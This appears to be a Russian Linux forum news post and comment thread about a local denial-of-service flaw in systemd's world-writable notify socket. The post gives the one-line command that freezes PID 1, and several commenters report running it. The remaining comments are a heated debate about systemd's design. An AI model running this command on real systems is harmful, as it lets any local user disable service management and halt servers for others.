LINUX.ORG.RU

systemd local DoS

 


1

5

В системном менеджере systemd выявлена локальная уязвимость. Процесс PID 1 зависает на системном вызове pause() при поступлении в сокет уведомлений systemd сообщения нулевой длины, после чего невозможно запустить/остановить демоны или выполнить «чистую» перезагрузку, а systemd-сервисы в стиле inetd перестают принимать соединения. Так как сокет уведомлений /run/systemd/notify доступен всем на запись, то любые локальные пользователи могут вызвать отказ в обслуживании на системах с systemd.

Уязвимость проявляется во всех версиях systemd, начиная, по крайней мере, с версии 209.

Атака сводится к выполнению команды

NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""

>>> Подробности

★★★★★

Проверено: Shaman007 ()
Последнее исправление: sudopacman (всего исправлений: 4)

Ответ на: комментарий от anonymous

Были. Стоит спрашивать поднимался ли в те смутные времена такой вой или это считалось обычным делом.

Спрашиваю. Был вой или нет? :)

anc ★★★★★
()

Найс, работает

% uname -a
Linux debian 4.1.0-1-amd64 #1 SMP Debian 4.1.3-1 (2015-08-03) x86_64 GNU/Linux
% systemctl --version 
systemd 231
+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ -LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN
% NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""
% 
Broadcast message from systemd-journald@debian (Sun 2016-10-02 19:02:22 MSK):

systemd[1]: Caught <ABRT>, dumped core as pid 11797.


Broadcast message from systemd-journald@debian (Sun 2016-10-02 19:02:22 MSK):

systemd[1]: Freezing execution.

Как теперь его оживить?

anonymous
()
Ответ на: комментарий от intelfx

вчерашний школьник конечно же застал «те» времена и теперь авторитетно заявляет о том что было и чего не было... лор такой лор..

anonymous
()
Ответ на: комментарий от anonymous

Ну мало ли какие у людей представления о должном? Главное, чтобы к другим с ними не лезли.

spqr ★★★
()
Ответ на: комментарий от anonymous

А всех хейтеров принудительно отправить на курсы по изучению systemd с экзаменом в конце.

принудилка не зависнет?

anonymous
()
Ответ на: комментарий от intelfx

Да, застал. Попридержи шаблон.

Всосал с молоком матери?

anonymous
()
Ответ на: комментарий от LiBer

ну кажется это отличная идея для применения раста, не ядро, но достаточно важный элемент, что бы заморочиться.

Отличная идея для применения раста - это, например, веб-браузер. Что, вобщем-то, и подтверждает заинтересованность в нем мазилы. А фундаментальные системные компоненты должны писаться суровыми гиками на соответствующих языках, да с максимальной экономией CPU и памяти (обо Линух - не оффтопик, крутится не только на топовых геймерских тачках)

UPD: Собственно, топик о том, что Леня до упомянутых мной «гиков» еще не дорос, вот и тянет туда говно, начиная от архитектуры и заканчивая кодинг стайлом.

segfault ★★★★★
()
Последнее исправление: segfault (всего исправлений: 2)
Ответ на: комментарий от intelfx

Не было, конечно. Это теперь принято громко ругать systemd по каждому поводу.

Пока альтернатива была одна, оставалось только смириться. Сейчас же есть возможность покритиковать одно в пользу другого.

segfault ★★★★★
()

Debian Stable + Backports (linux-image-amd64, libdrm1-radeon)

me@cruncher ~ $ NOTIFY_SOCKET=/run/systemd/notify systemd-notify «» me@cruncher ~ $ systemd --version systemd 230 +PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ -LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN me@cruncher ~ $ uname --all Linux cruncher 4.6.0-0.bpo.1-amd64 #1 SMP Debian 4.6.4-1~bpo8+1 (2016-08-11) x86_64 GNU/Linux me@cruncher ~ $ systemctl is-system-running running

anonymous
()

Debian Stable + Backports (linux-image-amd64, libdrm1-radeon)

me@cruncher ~ $ NOTIFY_SOCKET=/run/systemd/notify systemd-notify «»

me@cruncher ~ $ systemd --version systemd 230 +PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ -LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN

me@cruncher ~ $ uname --all Linux cruncher 4.6.0-0.bpo.1-amd64 #1 SMP Debian 4.6.4-1~bpo8+1 (2016-08-11) x86_64 GNU/Linux

me@cruncher ~ $ systemctl is-system-running running

anonymous
()
Ответ на: комментарий от segfault

ошибка Лени
Растрелять.

Давая скажи, я сустемд фанат.

gentux
()
Ответ на: комментарий от anc

Последние os x совсем не торт

их QT теперь валится при захвате с UVC камеры не NV12 фреймов (YUY2, к примеру). А предыдущие версии могли YUY2, но не могли NV12, но, хотя бы, не валились :) Это так, проблема обнаружилась одним кастомером, а мы немного подраскопали.

h4tr3d ★★★★★
()
Ответ на: комментарий от segfault

Вот только «критика» больше напоминает истерику и FUD, чем разумную критику.

intelfx ★★★★★
()
Ответ на: комментарий от segfault

вот и тянет туда говно, начиная от архитектуры и заканчивая кодинг стайлом.

Расскажи, в чём проблемы 1) архитектуры и 2) coding style в systemd.

intelfx ★★★★★
()
Ответ на: комментарий от anonymous

Смотрите, пропёрданые треники рвутся на весь лор :D

anonymous
()
Ответ на: комментарий от Sunderland93

Sunderland93> Как будто весь остальной софт настолько идеален, что ни одной уязвимости. Даже такой, какую годами не видят

Только укуренный обдолбок будет сравнивать «весь остальной софт» с программой, которая выполняется как PID 1 и от стабильности которой напрямую зависит стабильность системы.

Quasar ★★★★★
()
Ответ на: комментарий от Loki13

Loki13> В чем смысл локальным пользователем завешивать систему?

В том, чтобы прервать работу сервера, например. Для вешанья серверов целые ботнеты строят.

Quasar ★★★★★
()
Ответ на: комментарий от spqr

spqr> А RedHat'овцы говорили где-нибудь ясно и чётко, зачем они это делают?

Нет. Но я подозреваю, что за тем же, зачем пошли продаваться мелкософту.

Quasar ★★★★★
()
Ответ на: комментарий от anc

anc> А были когда нибудь уязвимости в system V или bsd init? Я не помню, но это не значит что их небыло. Может кто-то что вспомнит?

Такого уровня - нет. Просто потому, что sysvinit и bsd-init не брали на себя то, из-за чего в systemd сабж нашёлся.

Quasar ★★★★★
()
Ответ на: комментарий от anonymous

anonymous> Эту ложь я слышу все пятнадцать лет своей карьеры сисадмина. И все пятнадцать лет недоумеваю: если было сделано как надо, то зачем djb писал свои daemontools?

Затем, что daemon tools - это совсем другой уровень. Это супервизор процессов, а не инит. И уж тем более, в отличие от systemd, не альтернативная и неполноценная реализация всех системных сервисов (которую насильно навязывают всем при этом), и не генератор qr-кодов.

Quasar ★★★★★
()
Ответ на: комментарий от intelfx

intelfx> С какой радости ты получишь DoS всего сервера, если у контейнера свой notify-сокет (сабжевый) и свой процесс инита?

С такой, что ты нихрена не знаешь, как на самом деле работает systemd.

Quasar ★★★★★
()
Ответ на: комментарий от Quasar

С такой, что ты нихрена не знаешь, как на самом деле работает systemd

Из этого заявления можно предположить, что ты знаешь. Можешь показать участок кода, который опровергает его слова?

Deleted
()
Ответ на: комментарий от www_linux_org_ru

www_linux_org_ru> разве может нормально написанный сетевой сервис «в стиле inetd» применять вызов pause()? или это признак говнокода?

Дело в том, что systemd на 100% состоит из говнокода. Более того: systemd постоянно пополняется монолитными и неполноценными заменами нормально написанных системных сервисов с целью эти нормально написанные сервисы уничтожить. «Ну а чо - работает и ладно. Мне большего и не надо, а на остальных посрать.» - девиз разработчиков системуды.

Quasar ★★★★★
()
Ответ на: комментарий от EXL

EXL> Хочу, чтобы GNU/Linux соперничал с macOS.

То есть, ты хочешь, чтобы линукс на серверах не работал и без игр был, да и ещё популярность растерял без шанса на её поднятие?

Quasar ★★★★★
()
Последнее исправление: Quasar (всего исправлений: 1)
Ответ на: комментарий от EXL

EXL> Не беспокойся. Рыночек и RedHat порешают что тебе притащить, а что нет.

RedHat в подвале сгниёт. Ни одной конторе, которая тесно сотрудничала с мелкософтом на таком уровне, не удавалось выжить.

Quasar ★★★★★
()
Ответ на: комментарий от anc

anc> Насколько я путаю, как минимум из дебиан ее убрать можно.

Хорошо путаешь. Из дебьяна и правда можно убрать systemd. Но после этого ты не сможешь поставить часть пакетов. Ян Джексон предупреждал и предлагал принять меры. Но подсоски RedHat саботировали голосование и устроили истерику.

Quasar ★★★★★
()
Ответ на: комментарий от intelfx

intelfx> О, квазарчик явился-не запылился. Уходи откуда пришёл.

Ушёл тебе на ротеш. Проверяй.

Quasar ★★★★★
()
Ответ на: комментарий от intelfx

Расскажи, в чём проблемы 1) архитектуры

Я несколько раз пытался донести кое-кому: комбайн. Это - неизлечимая ошибка в ДНК, без разбора качества кода.

AS ★★★★★
()
Ответ на: комментарий от segfault

segfault> Пока альтернатива была одна, оставалось только смириться. Сейчас же есть возможность покритиковать одно в пользу другого.

Великое множество вариантов было. Разные иниты, разные системы запуска сервисов на любой вкус и цвет. Сейчас Поцеринг и RedHat хотят всё это убить. И у них это получается. А уж критические баги в процессе, который выполняется в PID 1 - это им пофиг.

Quasar ★★★★★
()
Ответ на: комментарий от anc

anc> Нифига. bsd vs systemV вполне можно было устроить...

Не просто можно было - вовсю устраивали.

Quasar ★★★★★
()
Ответ на: комментарий от AS

Это пустые слова, которые ничего не значат. Давай конкретно по каждому случаю: определение комбайна, где (в чём) оно проявляется, как это можно исправить и почему так будет лучше.

intelfx ★★★★★
()
Ответ на: комментарий от Quasar

Давай ещё раз, без истерик и по порядку.

Сейчас Поцеринг и RedHat хотят всё это убить.

Какую выгоду из этого можно получить?

Deleted
()
Ответ на: комментарий от anonymous

Не у всех, о чём анонимы на ЛОР не в курсе.

anonymous
()
Ответ на: комментарий от anonymous

Почему нельзя? Не пользуйся гномом - есть куча форков оного. Всё остальное пока что не сильно прибито, вроде.

anonymous
()
Ответ на: комментарий от intelfx

Давай я отвечу за него.

Комбайн (англ. combine) — многофункциональный технический комплекс, способный одновременно выполнять несколько операций

А теперь о systemd:

Сокет-активация служб (заменяет inetd)
Запуск сервисов по расписанию (заменяет CRON)[11]
Работа с аппаратным сторожевым таймером (заменяет WatchDog)
Смена корня (заменяет chroot)
Автомонтирование разделов дисков и сетевых ресурсов

Чем не комбайн?

как это можно исправить и почему так будет лучше.

Выкинуть systemd и продолжить пользоваться init + inetd + cron + watcdog + chroot + /etc/fstab?

anonymous
()
Ответ на: комментарий от anc

Были локальные в каждом дистрибутиве свои, в основном это когда скрипт был написан криво и не понижал привелегии. Особо способные личности до последнего могли писать скрипты слушающие какой-либо порт, работающие от рута и с правами на запись для всех. Да в основном это конечно, было не так открыто, а например когда какой-нибудь скрипт, создавал временной файл, а этот файл уже был с правами записи для всех. Для systemd можно тоже с десяток таких кривых юнитов написать.

anonymous_sama ★★★★★
()
Ответ на: комментарий от anonymous

Давай я отвечу за него.

Комбайн (англ. combine) — многофункциональный технический комплекс, способный одновременно выполнять несколько операций

А теперь о systemd:

Сокет-активация служб (заменяет inetd)
Запуск сервисов по расписанию (заменяет CRON)[11]
Работа с аппаратным сторожевым таймером (заменяет WatchDog)
Смена корня (заменяет chroot)
Автомонтирование разделов дисков и сетевых ресурсов

По первым двум пунктам ответ получен, принято.

Выкинуть systemd и продолжить пользоваться init + inetd + cron + watcdog + chroot + /etc/fstab?

И почему это будет лучше? сразу предостережение: нужны конкретные кейсы, в форме «может произойти сбой вот здесь, его можно исправить/обойти вот так-то, а в случае systemd он обязательно приведёт к краху системы».

intelfx ★★★★★
()
Последнее исправление: intelfx (всего исправлений: 1)
Ответ на: комментарий от intelfx

И почему это будет лучше? сразу предостережение: нужны конкретные кейсы, в форме «может произойти сбой вот здесь, его можно исправить/обойти вот так-то, а в случае systemd он обязательно приведёт к краху системы».

Почему это постоянно переспрашивается, если топик является примером сам по себе?

Binary ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.